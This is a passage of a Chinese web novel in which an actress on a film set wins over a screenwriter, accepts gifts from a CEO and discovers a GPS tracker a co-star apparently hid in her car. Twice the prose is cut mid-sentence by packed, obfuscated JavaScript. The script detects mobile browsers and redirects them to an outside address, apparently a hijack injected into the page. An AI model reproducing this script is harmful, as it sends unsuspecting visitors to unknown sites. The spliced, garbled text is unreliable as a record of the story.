尚知遥刚走到演员休息区,就看见一个穿着黑色卫衣、戴着鸭舌帽的男人坐在折叠椅上,手里拿着剧本,眉头紧锁地看着,周身散发着“生人勿近”的气场。 不用问,肯定是编剧兼艺术总监许淮。 “许老师您好,我是尚知遥,饰演林薇。” 尚知遥放轻脚步走过去,恭敬地打招呼,手里还拿着提前准备好的标注版剧本。 这几天,她熬夜把每个场景的角色心理活动都写在页边,用不同颜色的笔区分了情绪层次,甚至还查了相关的心理学资料,就为了能更好地理解林薇这个“恶毒女配”的内心。 许淮抬眼扫了她一眼,目光锐利,带着几分审视:“剧本看完了?”他的声音低沉,没什么温度。 “看完了,还做了些标注,想和您请教一下对角色的理解。”尚知遥递过剧本,心里有些紧张。 她知道许淮对演员要求极高,要是答不好,很可能会被当场刁难。 许淮接过剧本,翻了几页,目光落在那些密密麻麻的标注上,眉头几不可察地舒展了几分。 他指着其中一场戏问:“第二十三场,林薇故意打碎女主的奖杯,这里你写了‘嫉妒与不甘的爆发’,说说看,你为什么这么理解?” 尚知遥深吸一口气,组织了一下语言:“我觉得林薇不是天生的坏人。她从小被父母忽视,心里一直缺乏安全感,把男主当成了唯一的精神寄托。而女主的出现,不仅抢走了男主的关注,还得到了她一直渴望的认可,比如那个奖杯,对女主来说可能只是一个荣誉,但对林薇来说,那是‘被全世界看见’的象征。所以她打碎奖杯,不是单纯的坏,而是长期压抑的嫉妒和不甘终于爆发了,就像……就像一个人攥紧了手里唯一的糖,却被别人抢走,只能用破坏来证明自己的存在。” 她顿了顿,想起原主被全网黑时的委屈——明明没做错什么,却被贴上“霸凌者”的标签,连解释的机会都没有,那种无助和不甘,和林薇的心境竟有几分相似。 “就像有时候,明明自己是被误解的一方,却没人愿意听你解释,只能眼睁睁看着别人占据所有好感,那种委屈和愤怒,积累到一定程度,就会忍不住做出极端的事情。” 许淮拿着剧本的手顿了顿,抬头看向尚知遥,眼神里多了几分认可:“有点意思。很多演员演反派,只会刻意装凶、瞪眼睛,却忘了反派也有自己的逻辑。” 他端起水杯喝了一口,忽然似笑非笑地对尚知遥眨了眨眼:“不过听你的意思……你好像对被误解很有切身体会啊。” 7. 第 7 章 尚知遥被许淮这句话问得心头一紧,指尖下意识攥紧了裙摆。 她知道许淮这话意有所指,“霸凌新人”的黑料至今还挂在热搜尾巴上,圈内人多少都有所耳闻。 她定了定神,没有回避,反而坦诚地笑了笑:“许老师眼尖,确实有过类似的感受。有时候舆论像一张网,把人裹得喘不过气,明明没做过的事,却要被反复指责,那种委屈,我想林薇在被所有人误解‘恶毒’时,应该也能体会到。” 这番话没有卖惨,也没有辩解,只是平静地将自身经历与角色共情,既回应了许淮的试探,又巧妙地展现了对角色的深度理解。 许淮看着她坦然的眼神,嘴角终于露出一丝真切的笑意,他合上剧本递还给她:“不错,能把自己的感受揉进角色里,比只会背台词的花瓶强多了。不过记住,共情是基础,不是全部,林薇的‘狠’里藏着‘怕’,你得把这种矛盾感演出来,别光顾着卖惨。” “谢谢许老师,我记住了。” 尚知遥接过剧本,心里悄悄松了口气——第一关算是过了。 她刚要转身去化妆间,就听见身后传来一阵轻快的脚步声,伴随着熟悉的声音:“知遥姐!你终于来啦!” 回头一看,周向晨穿着一身浅灰色休闲装,手里提着两个保温桶,脸上挂着阳光的笑,像个刚下课的大学生。 他快步走到尚知遥面前,将其中一个保温桶递过来:“我听小棠姐说你今天进组,特意早起给你熬了南瓜小米粥,养胃的。你之前不是说拍夜戏胃不舒服吗?这个刚好能暖暖胃。” 保温桶的外壳还带着温热的触感,尚知遥接过时,能清晰地感受到桶壁传来的暖意。 她打开盖子,香甜的南瓜味混着小米的清香扑面而来,粥熬得软糯绵密,上面还撒了一层细碎的枸杞,一看就是花了心思的。 “向晨,你也太细心了,麻烦你了。” 她心里泛起一丝暖意,却也没放松警惕。 周向晨的示好总是恰到好处,既不让人觉得刻意,又能精准地戳中她的需求,这样的分寸感,不像一个刚出道的练习生能轻易拿捏的。 周向晨挠了挠头,笑得有些腼腆:“不麻烦呀,我今天没通告,本来就打算来剧组当学徒。对了知遥姐,许老师刚才没为难你吧?我听说他对演员特别严格,之前有个前辈因为台词没背熟,被他当场骂哭了。” 他一边说,一边悄悄观察着尚知遥的表情,眼神里带着几分不易察觉的关切。 “许老师挺好的,就是对作品要求高,这也是为了我们好。” 尚知遥舀了一勺粥放进嘴里,温热的粥滑进胃里,舒服得让她轻轻叹了口气。她抬眼看向周向晨,发现他正盯着自己的手链看,便笑着解释:“朋友送的见面礼,戴着玩的。” 周向晨立刻收回目光,笑着说:“挺好看的,很配你。对了知遥姐,我帮你拿行李吧,化妆间在那边,我带你过去。” 他说着,不等尚知遥拒绝,就主动提起她放在地上的行李箱,动作自然得像是相处了很久的朋友。 【系统提示:周向晨对宿主好感度提升6%,当前好感度41%,攻略进度18%。】 尚知遥跟在周向晨身后,看着他挺拔的背影,心里忽然有些疑惑。 根据系统资料,周向晨出身普通,靠选秀节目出道,签了一家小公司,资源一直不好,这次能进《知己》剧组,还是托了朋友的关系。 可他身上的气质,却不像家境普通的孩子。 他说话时的语速、待人接物的分寸,甚至连提着行李箱的姿势,都透着一股刻意训练过的优雅。 “向晨,你之前在选秀节目里,是唱跳担当吧?”尚知遥故意找话题,想多了解他一些。 周向晨脚步顿了顿,回头笑着点头:“对呀,我从小就喜欢唱歌跳舞,本来想成团出道的,可惜公司给我的资源不行,最后还是只能跑跑龙套,当当背景板。” 他语气里带着一丝不易察觉的失落,眼神也暗了暗,“不过没关系,能进《知己》剧组当个学徒,有机会和许老师、知遥姐您合作,我已经很满足了。” 这番话既展现了自己的励志人设,又不动声色地拍了尚知遥的马屁,让她无法反驳。 尚知遥笑了笑,没再追问。 化妆间里已经有几位演员在化妆了,看到尚知遥进来,原本热闹的氛围瞬间安静了几分,几道探究的目光落在她身上。 尚知遥早就习惯了这种场面,落落大方地打招呼:“大家好,我是尚知遥,饰演林薇,以后请多指教。” 没人主动回应,只有一位穿着粉色连衣裙的女演员抬头笑了笑,算是打过招呼。 周向晨把行李箱放在角落,走到尚知遥身边,小声说:“知遥姐,你别介意,她们可能就是不太熟。我去帮你找个空位,你先坐。” 他说着,熟练地和化妆师打了个招呼:“张姐,麻烦您一会儿先给知遥姐化个妆呗,她今天第一场戏就要拍,时间有点紧。” 张姐是剧组的资深化妆师,平时对演员态度冷淡,却不知为何对周向晨格外客气,立刻点头:“行,让尚小姐过来吧,我这马上就好。” 尚知遥坐在化妆镜前,看着镜中自己的倒影,心里忽然明白,周向晨在剧组的人缘,似乎比她想象中要好得多。 她闭上眼睛,任由张姐在她脸上涂抹,耳边传来其他演员小声的议论: “听说她是靠霍总才进组的……” “真的假的?还以为许淮选演员要求多严苛,原来也是资源咖。” “嘘,小声点,别让她听见了……” 这些议论声不大不小,刚好能让尚知遥听见。 她心里冷笑,面上却依旧平静,在娱乐圈,流言蜚语是最不值钱的东西,与其费力辩解,不如用实力说话。 化妆刚到一半,薛颖就拿着一份拍摄计划表走了进来:“知遥,你跟我来一下,许老师找你讲戏。” 尚知遥连忙起身,跟着薛颖走出化妆间。 走廊里,薛颖压低声音说:“刚才我听说有人在背后议论你,别往心里去,圈里就是这样,见不得别人好。还有,程跃也在组里,饰演一个傻白甜小角色,一会儿拍对手戏的时候,你注意点分寸。” “我知道了,颖姐。”尚知遥点头,心里对薛颖多了几分感激。 薛颖虽然平时对她严格,却总是在关键时刻提醒她,算是圈里难得的真心人。 许淮的临时办公室里,放着一张巨大的白板,上面贴满了《知己》的人物关系图和场景分解图。 他看见尚知遥进来,指了指白板上的一处:“你过来,咱们对对第二十五场戏。这场戏是林薇和女主苏晴第一次正面冲突,你要记住,林薇的愤怒不是冲苏晴来的,是冲自己来的,她恨自己留不住男主,恨自己活成了别人眼里的笑话。” 他拿起剧本,递给尚知遥:“你先读林薇的台词,我读苏晴的。注意语气,别一开始就喊,要从压抑到爆发,像火山喷发前的沉默,懂吗?” 尚知遥深吸一口气,翻开剧本,找到对应的台词。 她闭上眼睛,回忆着原主被全网黑时的压抑。 明明心里有一万句解释,却被舆论堵得说不出话,那种愤怒和无助,和林薇此刻的心境完美契合。 再次睁开眼时,她的眼神里多了几分复杂的情绪,声音也变得低沉:“苏晴,你以为你赢了吗?你不过是仗着他喜欢你罢了……” 她的声音不高,却带着一股压抑的力量,像是从喉咙深处挤出来的,每一个字都透着不甘和委屈。 许淮拿着剧本的手顿了顿,抬头看向尚知遥,眼神里多了几分惊讶:“不错,就是这种感觉。再试试后面爆发的部分,把那种‘破罐子破摔’的狠劲加进去。” 尚知遥调整了一下呼吸,继续读台词:“你以为我愿意这样吗?是你们把我逼到这份上的!他明明一开始喜欢的是我,是你,是你抢走了他!” 说到最后一句时,她的声音陡然拔高,眼眶也微微发红,却强忍着不让眼泪掉下来。 这是她特意设计的细节,林薇的骄傲不允许她在敌人面前示弱。 “停!”许淮突然喊停,却没说不好,反而拿起笔在剧本上画了个圈,“这里的眼泪,留到第三十场戏再掉。第三十场林薇被男主当众拒绝,那时候的眼泪才是真的绝望,现在掉,太早了。” 他抬头看向尚知遥,语气里多了几分赞赏:“你很有天赋,一点就通。好好琢磨,这个角色要是演好了,你之前的黑料,都不算什么。” 【系统提示:许淮对宿主专业认可度提升,当前好感度35%,攻略进度15%。】 尚知遥心里一喜,连忙道谢:“谢谢许老师,我会好好琢磨的。” 刚走出许淮的办公室,就撞见程跃提着一个精致的果篮走过来。 她穿着一身白色连衣裙,妆容精致,脸上挂着标准的微笑,看起来温婉大方。“知遥,刚才听许老师说你在对戏,没打扰你吧?” “当然没有,你来了正好一起。哎呀,我忘了……”尚知遥故意装作刚刚想起的样子,“程跃你戏份太少,或许并不需要许老师亲自指点吧?” 程跃并不在意她的讽刺,只是慢慢走近,身上的香水味浓郁却不刺鼻,是当下最流行的花香调,“我刚从家里过来,带了点新鲜水果,给你和许老师都带了一份,你尝尝?” 尚知遥看着果篮里包装精美的车厘子和蓝莓,心里冷笑。 程跃倒是会做人,刚进组就开始送礼拉关系。 她笑着摆手:“谢谢你,不过我刚喝了粥,暂时吃不下水果,你留着自己吃吧。许老师还在片场,你可以给他送过去。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536251|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 程跃脸上的笑容僵了一下,随即又恢复自然:“没事,那就算了,等你得空我们再约,再说,颖姐不是安排我们两个炒cp吗?咱们以后还有的是时间呢。” 她一边说,一边不动声色地打量着尚知遥的手链,眼神里闪过一丝不易察觉的嫉妒。 “好啊,等我拍完今天的戏,咱们再约时间。”尚知遥笑着回应,心里却警铃大作。 程跃主动提出炒cp的事,肯定没表面看上去那么简单,说不定是想找机会挑她的错,或者故意制造两人不和的话题。 程跃还想说什么,场务就跑了过来:“尚姐,该去片场了,第一场戏马上开拍。” 第一场戏拍的是林薇和苏晴在校园走廊里的第一次正面冲突。 尚知遥站在走廊的一端,看着饰演苏晴的演员走过来,深吸一口气,迅速进入角色状态。 当苏晴走过她身边时,她故意伸出脚,绊了苏晴一下。 这个动作是她和许淮商量好的,既展现了林薇的“坏”,又不会真的伤到对方。 “卡!”许淮的声音突然响起,“尚知遥,你刚才的眼神不对!林薇绊苏晴的时候,心里应该是慌的,不是得意。她是想引起男主的注意,不是真的想害苏晴,你演的好像她本来就是恶毒女配一样,人物太扁。” 尚知遥心里一沉,连忙道歉:“对不起许老师,我再调整一下。” 她闭上眼睛,回想许淮之前说的“林薇的狠里藏着怕”,再次睁开眼时,眼神里多了几分慌乱,甚至在绊到苏晴后,下意识地往后缩了一下,像是怕被发现。 “很好!就是这个感觉!”许淮的声音里带着一丝满意,“再来一条,这次注意表情,别太僵硬。” 这场戏拍了三条才过,尚知遥走下片场时,后背已经被汗水浸湿。 周向晨立刻跑过来,递过一瓶温水:“知遥姐,你辛苦了,快喝点水。许老师就是这样,对细节要求特别高,你别往心里去。” 他说着,从口袋里拿出一张纸巾,小心翼翼地帮她擦了擦额头的汗,动作自然又亲昵。 周围的工作人员都好奇地看过来,尚知遥连忙接过纸巾,笑着说:“谢谢你,我自己来就行。” 她刻意拉开距离,不想被人误会。现在她和霍景宴有“恋爱协议”在身,要是被拍到和周向晨过于亲密,很容易引发不必要的麻烦。 周向晨也察觉到了她的疏离,眼神暗了暗,却没多说什么,只是笑着说:“那你先休息一会儿,我去帮你拿午饭。剧组的盒饭可能不太合胃口,我带了点自己做的酱菜,你可以就着吃。” 看着周向晨离开的背影,尚知遥心里忽然有些复杂。 周向晨的体贴像一张温柔的网,让她既觉得温暖,又感到不安。 她拿出手机,给霍景宴发了条消息:“霍总,我已经进组了,第一场戏刚拍完,一切顺利。” 没过多久,霍景宴就回复了:“嗯,注意安全,有解决不了的事,给我打电话。” 后面还附了一个定位,是离剧组不远的一家私房菜馆,“要是觉得盒饭不好吃,让司机去这家菜馆给你带饭,记在我账上。” 尚知遥看着消息,心里泛起一丝暖意,她回复了一句“谢谢霍总”,刚要收起手机,就看见程跃站在不远处,正盯着她的手机屏幕,眼神里带着几分探究。 尚知遥不动声色地收起手机,转身走向休息区。 在这个剧组里,不仅要演好林薇这个角色,让许淮满意,还要时刻提防程跃的算计,同时应对周向晨的示好,更要想办法提升霍景宴的好感度。 她觉得自己像个多线并行的程序,一不留神就会出bug,所以在这场攻略之路上,更要步步小心。 中午吃饭时,周向晨果然带了自己做的酱菜,是酸甜口的萝卜干,脆爽可口,很下饭。 尚知遥一边吃,一边和周向晨聊起拍戏的细节,周向晨虽然没演过多少戏,却对剧本有自己的理解,偶尔提出的建议,竟然还挺有道理。 “知遥姐,你看第二十八场戏,林薇向男主表白被拒,这里是不是可以加一个小动作?比如这样处理……”周向晨指着剧本中的某处,眼神里带着几分认真。 尚知遥眼前一亮:“这个建议不错!我之前怎么没想到?向晨,你还挺有天赋的,怎么没考虑过当编剧?” 周向晨愣了一下,随即笑了笑:“我就是随便说说,哪有当编剧的本事。我能在娱乐圈混口饭吃,就已经很满足了。” 他说着,眼神里闪过一丝向往,却又很快黯淡下去,转而变成略带幽怨的目光。 尚知遥瞥见他不自然的神色,若有所思地端起保温杯假装喝水。这个周向晨,到底心里装着什么事儿呢? 【系统提示:周向晨对宿主好感度提升8%,当前好感度49%,攻略进度22%。】 8. 第 8 章 下午拍的是林薇和男主的对手戏,饰演男主的是圈内有名的实力派演员陆哲,性格温和,对新人也很照顾。 开拍前,陆哲主动找尚知遥对台词:“知遥,别紧张,许老师虽然严格,但也是为了我们好。你要是有不懂的地方,随时可以问我。” “谢谢陆老师,我会努力的。”尚知遥感激地说。 有陆哲的帮助,这场戏拍得很顺利,只拍了两条就过了。 许淮看着监视器,满意地说:“不错,尚知遥,你和陆哲的配合很默契,继续保持。” 收工时已经是晚上八点多,天色完全黑了下来。 尚知遥刚收拾好东西,就看见霍景宴的车停在片场门口。 司机走过来,恭敬地说:“尚小姐,霍总让我来接您回家,他还在公司开会,让我跟您说一声。” 周围的工作人员都好奇地看过来,程跃走过来,笑着说:“知遥,这是霍总的车吧?霍总对你可真好,羡慕你啊。” 她的语气里带着几分嫉妒,眼神却在打量着车内,像是在寻找霍景宴的身影。 “小程说笑了,霍总只是关心旗下艺人。”尚知遥笑着回应,刻意淡化两人的亲密关系,“时间不早了,我先走了,你路上也注意安全。” 坐进车里,尚知遥靠在椅背上,疲惫地闭上眼。 司机递过一杯热牛奶:“尚小姐,这是霍总特意让我准备的,您喝了暖暖身子。霍总还说,您今天拍了一天戏肯定累,让我把车内温度调高了两度,您要是觉得闷,随时跟我说。” 尚知遥接过牛奶,指尖触到温热的杯壁,心里泛起一阵柔软。 她掀开杯盖,浓郁的奶香味扑面而来,还带着一丝淡淡的蜂蜜味——是她昨天随口跟宋小棠提过的喜好,没想到霍景宴竟然记在了心里。 她小口喝着牛奶,温热的液体滑过喉咙,驱散了一天的疲惫,连带着紧绷的神经也放松了不少。 车窗外的夜景飞速倒退,霓虹灯光透过车窗洒在她脸上,忽明忽暗。 车刚驶入小区地下车库,尚知遥的手机就响了,是霍景宴打来的。她连忙接起,声音里还带着一丝刚睡醒的沙哑:“喂,霍总?” “到家了?”电话那头传来霍景宴低沉的声音,背景里隐约能听到键盘敲击声,显然还在忙工作,“今天拍戏还顺利吗?许淮没为难你吧?” “挺顺利的,许老师还夸我对角色理解得透彻呢。”尚知遥笑着说,语气里带着一丝小小的骄傲,“就是拍了一天戏,有点累,不过您让司机准备的热牛奶很管用,现在好多了。” 电话那头沉默了几秒,随即传来霍景宴低低的笑声,像是羽毛轻轻拂过心尖:“顺利就好。明天有场淋雨戏,我让助理给你准备了防水保暖内衣,已经送到你家门口了,记得穿。别冻感冒了,影响拍摄进度。” 尚知遥心里一暖,连声道谢:“谢谢您,霍总,您想得太周到了。” “应该的。”霍景宴的声音柔和了几分,“早点休息,别熬夜背台词,明天才有精神拍戏。有事随时给我打电话。” 挂了电话,尚知遥站在电梯口,看着手机屏幕上霍景宴的名字,嘴角忍不住微微上扬。 她走到家门口,果然看到一个包装精致的盒子,上面贴着一张便签,是霍景宴的字迹,龙飞凤舞却透着认真:“防水内衣穿在里面,别让导演看出来,影响画面效果。” 尚知遥拿起盒子,打开一看,里面是一套浅灰色的防水保暖内衣,材质柔软亲肤,还附带了一包暖宝宝。 尚知遥愣愣地看着这份别样的礼物,忽然想起第一次见霍景宴的场景——电梯里他身上清冽的雪松香,他递外套时指尖的触碰,还有签约时他看似冷漠却处处周全的安排。 演戏也好真心也罢,她要做的,就是把霍景宴对她的特殊感情延续下去。 第二天清晨,尚知遥特意提前一小时起床,穿上霍景宴送的防水内衣,外面套上剧组准备的戏服。 刚到片场,就看见许淮站在监视器前,眉头紧锁地看着剧本,旁边放着一杯冒着热气的咖啡。 “许老师早。”尚知遥走过去,恭敬地打招呼。 许淮抬头看了她一眼,目光在她身上停留了几秒,忽然说:“今天穿得挺暖和,看来是做足了准备。淋雨戏虽然拍出来好看,但别拿身体开玩笑,冻感冒了反而耽误事。” 尚知遥愣了一下,随即明白许淮是看出了她里面穿的保暖内衣。 她笑着说:“谢谢许老师关心,我会注意的。” “行了,去化妆吧,二十分钟后开拍。”许淮挥了挥手,目光重新落回剧本上,语气却比昨天温和了几分。 化妆间里,程跃已经到了,正坐在镜子前让化妆师补妆。 看到尚知遥进来,她笑着说:“知遥,你今天来得挺早啊。听说你今天有场淋雨戏,可得多穿点,别冻着了。” 她一边说,一边不动声色地打量着尚知遥的衣服,眼神里带着几分探究。 “谢谢关心,我已经准备好了。”尚知遥笑着回应,没再多说,径直走到自己的位置坐下。 化妆师刚给尚知遥化完妆,周向晨就提着一个保温桶跑了进来:“知遥姐,快,我给你熬了姜汤,一会儿拍淋雨戏前喝一碗,能驱寒。” 他打开保温桶,浓郁的姜香味扑面而来,里面还放了几颗红枣和桂圆,一看就是精心熬制的。 “向晨,你怎么知道我今天有淋雨戏?”尚知遥有些惊讶。 周向晨挠了挠头,笑得有些腼腆:“我昨天听场务说的,知道淋雨戏冷,就特意早起熬了姜汤。你快趁热喝,凉了就不管用了。” 尚知遥接过姜汤,小口喝了起来。 辛辣的姜味混着红枣的甜味,喝下去浑身暖洋洋的,舒服得让她眯起了眼睛。“谢谢你,向晨,你真是太贴心了。” 【系统提示:周向晨对宿主好感度提升5%,当前好感度54%,攻略进度25%。】 周向晨看着她满足的样子,眼神里闪过一丝欣喜,随即又有些担忧地说:“知遥姐,一会儿拍淋雨戏的时候,要是觉得冷,就跟导演说停一下,别硬撑。我已经跟场务说了,让他们多准备几床干毛巾,拍完就能立刻擦干净。” 尚知遥心里一暖,点了点头:“好,我知道了。” 到了片场,道具组已经准备好了洒水设备,地面上也铺好了防滑垫。 许淮走到尚知遥面前,再次叮嘱:“这场戏是林薇得知男主和女主确定关系后,在雨中崩溃的戏。你要记住,林薇的崩溃不是歇斯底里的,是压抑的、绝望的,眼泪要混着雨水流下来,眼神里要有不甘,还要有一丝解脱。” 尚知遥深吸一口气,点了点头:“我明白了,许老师。” 随着许淮一声“开始”,洒水设备立刻启动,冰冷的雨水瞬间浇在尚知遥身上。 她打了个寒颤,却立刻进入角色状态。 她站在雨中,看着远处空荡荡的街道,眼神里渐渐充满了绝望。 她伸出手,似乎想抓住什么,却什么也抓不到,最后无力地垂下手,眼泪混着雨水流下来,嘴里喃喃地说:“为什么……为什么你们都要离开我……” 她的声音不大,却带着一股穿透人心的绝望,让在场的工作人员都忍不住屏住了呼吸。 许淮盯着监视器,眼神里满是赞赏,时不时点了点头。 “好!停!”许淮喊停,立刻有人拿着干毛巾跑过去,递给尚知遥。 周向晨第一个冲过来,把一条厚厚的毛毯裹在尚知遥身上,又递过一杯热姜茶:“知遥姐,快喝点姜茶暖暖身子,别冻感冒了。” 他的眼神里满是心疼,手忙脚乱地帮她擦着脸上的雨水,动作里带着一丝不易察觉的慌乱。 尚知遥接过姜茶,小口喝着,心里泛起一阵暖意。 她抬头看向周向晨,发现他的衣服也被雨水溅湿了,却毫不在意,只关心她冷不冷。 “向晨,你的衣服也湿了,快擦擦。” 周向晨笑了笑,摆了摆手:“我没事,我身体好,不怕冷。你赶紧把姜茶喝了,我送你去休息区换衣服。” 就在这时,霍景宴的车停在了片场门口。 他从车里下来,身上穿着一件黑色的风衣,手里拿着一件厚厚的羽绒服,快步走到尚知遥面前 。看到她浑身湿透的样子,他的眉头立刻皱了起来,语气里带着一丝不易察觉的责备:“怎么不穿防水内衣?冻成这样,要是感冒了怎么办?” 尚知遥愣了一下,连忙说:“我穿了,可能是雨水太大,还是渗进来了。” 霍景宴没再多说,把羽绒服披在她身上,又接过周向晨手里的姜茶,递给尚知遥:“快喝了,我送你回家换衣服。” 他的语气不容拒绝,眼神里满是担忧。 周向晨看着霍景宴对尚知遥的关心,眼神里闪过一丝复杂,却还是笑着说:“霍总,您来了正好,知遥姐刚拍完淋雨戏,确实需要赶紧换衣服。” 霍景宴没理会周向晨,扶着尚知遥,转身走向车:“别在这里待着了,风大,容易着凉。” 尚知遥靠在霍景宴身边,能清晰地感受到他身上传来的温暖,还有他手心的温度。 坐进车里,霍景宴把车内温度调到最高,又拿出一条干毛巾,帮尚知遥擦着头发。 他的动作很轻柔,尚知遥看着他近在咫尺的脸,心跳不由得加快,连忙低下头,不敢再看他。 “以后拍这种戏,提前跟我说,我让助理跟剧组沟通,用温水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她打开食盒,里面有小米粥、水煮蛋、三明治,还有一份精致的水果沙拉,午餐是一份药膳鸡汤和几样小菜,看起来就很有营养。 原来当霸总的白月光替身这么爽! 她拿出手机,给霍景宴发了条消息:“谢谢您的早餐和午餐,很丰盛,也很好吃。” 没过多久,霍景宴回复了:“好吃就多吃点,下午我去剧组看你。” 尚知遥看着消息,嘴角忍不住微微上扬。 到了剧组,尚知遥刚走到休息区,就看到周向晨坐在那里,手里拿着一个保温桶,显然是在等她。 看到她过来,周向晨立刻站起来,笑着说:“知遥姐,你来了。我给你熬了小米粥,你快尝尝。” 尚知遥愣了一下,连忙说:“谢谢你,向晨,不过我已经吃过早餐了,是霍总让厨师送来的。” 周向晨的笑容僵了一下,随即又恢复自然:“这样啊,那没关系,小米粥留着中午当加餐吧。你今天感觉怎么样?有没有感冒?” “我没事,昨天喝了姜茶,又好好休息了一晚,一点事都没有。”尚知遥笑着说。 就在这时,许淮走过来,笑着说:“尚知遥,你昨天那场淋雨戏拍得很好,监视器里的效果比我预期的还要好。继续保持,这个角色要是演好了,你以后在圈里的路会好走很多。” 尚知遥心里一喜,连忙道谢:“谢谢许老师,我会继续努力的。” 下午,霍景宴果然来剧组了。 他没有打扰拍摄,只是坐在监视器旁边的椅子上,安静地看着尚知遥拍戏。 每当尚知遥拍完一场戏,他都会让助理递过去一杯热饮,有时候是姜茶,有时候是热牛奶。 尚知遥装作看不见程跃频频投来的带刺的眼神,尽可能表现得不那么亲密。 毕竟她现在忙得要命,实在不想再分神去对付程跃。 一天的拍摄结束后,霍景宴送尚知遥回家。车停在小区门口,尚知遥刚要下车,就被霍景宴叫住:“等一下。” 他从后座储物格里拿出一个精致的丝绒盒子,递给尚知遥:“这个给你。” 尚知遥打开盒子,里面是一条设计简约的项链,吊坠是一颗小小的月亮,和之前的星星手链正好组成“星月”组合。 “这太贵重了,我不能收。” 霍景宴笑了笑,把盒子塞到她手里:“不算贵重,就是觉得挺适合你的。戴着吧,就当是……奖励你昨天淋雨戏拍得好。” 尚知遥看着霍景宴认真的眼神,终究还是收下了盒子:“谢谢您,霍总。” 看着霍景宴的车消失在夜色中,尚知遥低头看着手里的丝绒盒子,心里忽然充满了期待。 她期待这个把她当作深爱之人替身的男人,还能做出什么让她惊喜的事情。 【系统提示:当前三大男主好感度情况:霍景宴34%,周向晨54%,许淮35%。攻略进度稳步提升,请宿主继续保持良好状态,抓住更多互动机会。】 9. 第 9 章 剧组的拍摄紧锣密鼓地进行着,每一天都让人精疲力尽。 这天尚知遥刚结束拍摄,坐在房车后座卸妆时,宋小棠抱着一堆道具清单匆匆跑进来,脸色发白,手里攥着一个巴掌大的黑色设备。 是从车载导航后盖里拆出来的微型定位器,连接线缠着一根短短的浅棕色头发,在阳光下泛着淡淡的光泽。 “遥姐,这、这是定位器!”宋小棠的声音带着颤抖,把定位器递到尚知遥面前,“我刚才检查导航的时候,发现后盖松了,一打开就看到这个,还有这根头发……” 尚知遥接过定位器,指尖摩挲着冰冷的外壳,触感光滑,边缘打磨得很精细,显然是经过精心挑选的型号。 她低头看着那根浅棕色头发,想起周向晨昨天递保温桶时,跟她炫耀新染的发色,嘴角勾起一抹意味深长的笑:“别慌,放回去,按原来的位置装好不露痕迹。” “放回去?”宋小棠瞪大了眼睛,“可是这明显有人在跟踪你啊!万一……” “放心,”尚知遥打断她,指尖在定位器上轻轻敲了敲,“他想玩,我就陪他玩玩。你去把导航设置改一下,我们明天绕一下路,要途经街角那家‘甜星’甜品店。” 宋小棠虽然疑惑,但还是听话地去调整导航设置。 尚知遥则把定位器放回导航后盖,仔细检查了一遍,确保看不出拆卸过的痕迹。 她靠在座椅上,闭上眼睛,脑海里浮现出周向晨阳光的笑容。 原来那副“无害”的外表下,藏着这么强的控制欲。不过,这种“猫鼠游戏”,倒让枯燥的攻略任务多了点趣味。 当天下午拍摄间隙,尚知遥故意在房车门口和宋小棠聊甜:“听说‘甜星’的焦糖布丁很好吃,可惜最近拍戏忙,一直没机会去。” 她说话时,眼角的余光瞥见不远处的周向晨正假装看剧本,耳朵却悄悄竖了起来,嘴角还带着一丝不易察觉的弧度。 傍晚收工时,周向晨果然发来消息:“知遥姐,我晚上去给你送夜宵吧?最近看你拍戏太累,特意学了几道家常菜。” 尚知遥勾起唇角,回复道:“好啊,麻烦你了向晨。” 这傻弟弟果然一钓就上钩了,也没她想的那么聪明嘛。 晚上八点,周向晨提着两个保温桶敲响了尚知遥的酒店房门。 他穿着一身干净的白色T恤,头发整理得一丝不苟,脸上挂着恰到好处的笑容:“知遥姐,我来了。” 进门时,他的目光下意识扫过门口的玄关柜。那里放着尚知遥的手机,屏幕亮着,显示着导航APP的界面,上面清晰地标注着“已到达目的地:星光酒店”,正是尚知遥住的酒店。 看到导航界面的瞬间,周向晨的嘴角不自觉上扬,眼底闪过一丝满意的光芒,很快又恢复了温和的表情,将保温桶放在餐桌上:“知遥姐,我做了糖醋排骨和番茄炒蛋,还有……” 他打开另一个保温桶,里面放着一份包装精致的焦糖布丁,上面还撒着一层细碎的杏仁片,“最近‘甜星’的布丁很火,刚好路过就买了一份,不知道合不合你口味。” 尚知遥看着那份焦糖布丁,心里了然。 他果然跟着定位器绕路去了甜品店。 她笑着坐下,拿起勺子舀了一口布丁,温热的口感带着浓郁的焦糖香,甜度也刚刚好。 “很好吃,”她抬起头,嘴角沾了一点焦糖酱,“比我想象中还要好吃。” 周向晨的目光立刻落在她的嘴角,眼神暗了暗,迅速从口袋里掏出纸巾递过去:“知遥姐,嘴角沾到了。” 他递纸巾时,手指微微前倾,差点碰到她的唇,又猛地收回,指尖在身侧悄悄攥紧。 尚知遥不动声色地接过纸巾,慢悠悠地擦着嘴角,状似无意地提起:“对了向晨,最近总感觉有人跟着我,昨天小棠还说在房车附近看到陌生身影,会不会是私生啊?” 周向晨端水杯的手顿了一下,杯沿碰到嘴唇,滚烫的水溅在指尖,他却像是没感觉到一样。 他抬起头,耳尖泛红,眼神里带着一丝慌乱,却强装镇定:“姐姐别怕,肯定是误会。以后我每天送你去片场,再送你回酒店,有我在,没人敢伤害你。” 尚知遥看着他的反应,心里暗笑,面上却露出感激的表情:“那太麻烦你了,向晨。不过你也要注意休息,别因为我耽误了自己的练习。” “不麻烦,”周向晨立刻说道,“能为知遥姐做事,我很开心。” 周向晨并未停留很久,片刻后就找了个借口说要回去了。尚知遥送他到门口,看着他的身影消失在电梯口,才转身回到房间。 她走到化妆镜前,对着镜子整理头发,手指在镜面上轻轻敲了敲。 